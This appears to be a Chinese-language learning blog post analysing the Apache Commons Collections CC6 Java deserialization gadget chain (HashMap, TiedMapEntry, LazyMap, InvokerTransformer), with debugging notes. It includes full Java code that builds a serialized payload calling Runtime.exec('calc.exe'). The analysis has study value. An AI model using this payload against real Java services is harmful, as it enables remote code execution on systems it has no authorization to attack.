CC6
Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。
为了解决⾼版本Java的利⽤问题,就有了CC6
CC6简介
看一下p神给的简化版利用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
后半部分还是LazyMap那条利用,我们之前的利用是用到AnnotationInvocationHandler的反序列化触发到invoke的get,这里因为高版本的反序列化逻辑改变了,利用不了了,所以就有了前面那一串链子来进行串联。
解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤LazyMap#get() 的地⽅。
前部分的链子分析就不细说了,感觉还是很容易理解的
新的东西就两个类,一个是TiedMapEntry(简称tme),一个是hashmap
这里tme的getvalue方法调用了get,map还是可用的,就可以让map是我们的lazymap,构造方法也是简单明了的
再去找哪里调用了getvalue
tme自己的Hashcode方法就调用了,并且是没啥条件直接调用
再去找哪里调用了hashcode
可以在hashmap里找到两个方法,一个是hash,一个是readobject
hash
这里让key为tme就好了
readobject
读取键:
K key = (K) s.readObject();
这行代码从ObjectInputStream
流中读取一个对象,并将其强制转换为键类型K
。在序列化时,所有的键被写入流中。在反序列化时,你需要逐个读取这些键。
读取值:
V value = (V) s.readObject();
这行代码读取与键对应的值。每个键都对应一个值,因此在读取每个键之后,你需要读取它的值。
插入到哈希表:
putVal(hash(key), key, value, false, false);
使用计算得到的哈希值将键值对插入到哈希表中。hash(key)
方法计算键的哈希值,这样可以确定键值对在哈希表中的位置。
构造方法貌似重载了很多
我们调用的构造方法应该是这个
public HashMap(Map<? extends K, ? extends V> m) {
this.loadFactor = DEFAULT_LOAD_FACTOR;
putMapEntries(m, false);
}
在HashMap的readObject⽅法中,调⽤到了hash(key) ,而hash⽅法中,调⽤到了key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。
先构造LazyMap,和之前CC1的一样
为了避免本地调试时触发命令执⾏,我构造LazyMap的时候先⽤了⼀个⼈畜⽆害的fakeTransformers 对象,等最后要⽣成Payload的时候,再把真正的transformers 替换进去。
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
把lazymap(这里是人畜无害的那个),作为tme的map参数传入
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接下来到我们反序列化的入口类hashmap,新建一个hashmap,传入构造的tmp作为key
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
反射修改属性,把恶意的transformers加进去,然后去生成序列化字符串
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
但是这里却并没有弹出计算器
public class P {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
}
}
调试
跟进去进行调试
对键(tme对象)进行反序列化,调用hash
key为tme对象,调用tme的hashcode
tme的hashcode调用到hash方法
this.map为构造好的lazymap对象,this.key为tmekey
发现是这里的!map.containsKey(key)进不去
原因是在构造序列化字符串的时候,执行完TiedMapEntry tme = new TiedMapEntry(outerMap, "tmekey");
,就把tmekey给压进lazymap了
注意看tme的构造方法执行完的变化
我尝试加了个clear,发现不顶用
直接看看p神怎么搞的
这个关键点就出在expMap.put(tme, “valuevalue”); 这个语句⾥⾯。HashMap的put⽅法中,也有调⽤到hash(key)
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
相当于提前执行了一次我们的链子,只不过这里我们用的是假的transform,所以没弹计算器
它执行到laymap的get的时候,Object value = this.factory.transform(key)执行完会把这个key put进lazymap
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
所以前面我找的地方是错的?
然后我试了一下在put执行完放clear也是成功弹出计算器了
感觉是调试有点问题,奇奇怪怪的,还是P神说的比较靠谱
然后我发现了我搞错的原因(这里其实本来是想跟进去调试一下put的时候执行链子的过程),断点打在Map expMap = new HashMap();
emmm,难泵,要是总这样多少得对学java造成误判
貌似是因为反编译问题
好吗,CC6也算是分析完了